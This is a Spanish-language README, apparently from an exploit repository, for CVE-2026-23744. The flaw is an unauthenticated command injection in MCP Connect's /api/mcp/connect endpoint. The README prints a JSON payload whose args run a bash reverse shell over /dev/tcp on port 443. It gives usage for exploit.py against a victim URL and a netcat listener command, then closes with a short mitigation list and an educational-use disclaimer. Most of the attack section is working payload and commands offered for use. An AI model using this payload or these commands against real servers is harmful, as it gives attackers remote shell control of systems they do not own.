## https://sploitus.com/exploit?id=65C1835A-C7F0-57AF-B65F-71DCB9C75FBC
# CVE-2026-23744 — MCP Connect RCE via Unauthenticated Command Injection




> ⚠️ **Disclaimer:** Este repositorio es solo con fines educativos y de investigación en seguridad. El uso de este exploit contra sistemas sin autorización explícita es ilegal. El autor no se hace responsable del mal uso de este código.
---
## 📌 Descripción de la Vulnerabilidad
La vulnerabilidad reside en el endpoint `/api/mcp/connect`, el cual permite a un atacante **no autenticado** registrar un servidor MCP (Model Context Protocol) arbitrario con una configuración maliciosa. Al no existir validación ni sanitización del campo `command` y sus `args`, es posible inyectar comandos del sistema operativo que se ejecutan directamente en el servidor con los privilegios del proceso web.
Esto resulta en una **ejecución remota de código (RCE)** que puede aprovecharse para obtener una **reverse shell** sobre el sistema comprometido.
---
## 🧠 Detalles Técnicos
| Campo | Detalle |
|------------------|-------------------------------------------------|
| **Tipo** | Remote Code Execution (RCE) |
| **Vector** | Red (HTTP POST sin autenticación) |
| **Endpoint** | `/api/mcp/connect` |
| **Severidad** | 🔴 Crítica |
| **Autenticación**| No requerida |
| **Impacto** | Control total del servidor |
### Payload malicioso
```json
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp//443 0>&1"],
"env": {}
}
}
```
El servidor procesa esta configuración e invoca el comando `bash` con los argumentos proporcionados, estableciendo una conexión TCP inversa hacia el atacante.
---
## 🛠️ Requisitos
- Python 3.x
- Las siguientes librerías:
```bash
pip install requests termcolor
```
---
## 🚀 Uso
```bash
python3 exploit.py -l -u
```
### Parámetros
| Parámetro | Descripción | Ejemplo |
|-----------|------------------------------------------|----------------------------|
| `-l` | Tu IP (donde recibirás la shell) | `192.168.1.50` |
| `-u` | URL base del objetivo | `https://victim.com` |
### Ejemplo completo
**Terminal 1 — Listener:**
```bash
nc -nlvp 443
```
**Terminal 2 — Exploit:**
```bash
python3 exploit.py -l 192.168.1.50 -u https://victim.com
```
---
## 🎬 Demo
```
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
```
Una vez enviada la solicitud, el listener en el puerto `443` recibirá la conexión inversa con una shell interactiva del servidor comprometido.
---
## 🛡️ Mitigación
- **Validar y sanitizar** todos los campos del body en `/api/mcp/connect` antes de procesarlos.
- **Autenticar** el endpoint y restringir su acceso solo a usuarios con privilegios.
- **Nunca ejecutar** comandos del sistema directamente a partir de input del usuario.
- Implementar una **lista blanca** de comandos permitidos.
- Aplicar principio de **mínimo privilegio** al proceso del servidor web.
---
## 📁 Estructura del Repositorio
```
.
├── exploit.py # Script principal del exploit
└── README.md # Este archivo
```
---
## 👤 Autor
> Desarrollado con fines de investigación en seguridad ofensiva por **Jorge Arana Fedriani**.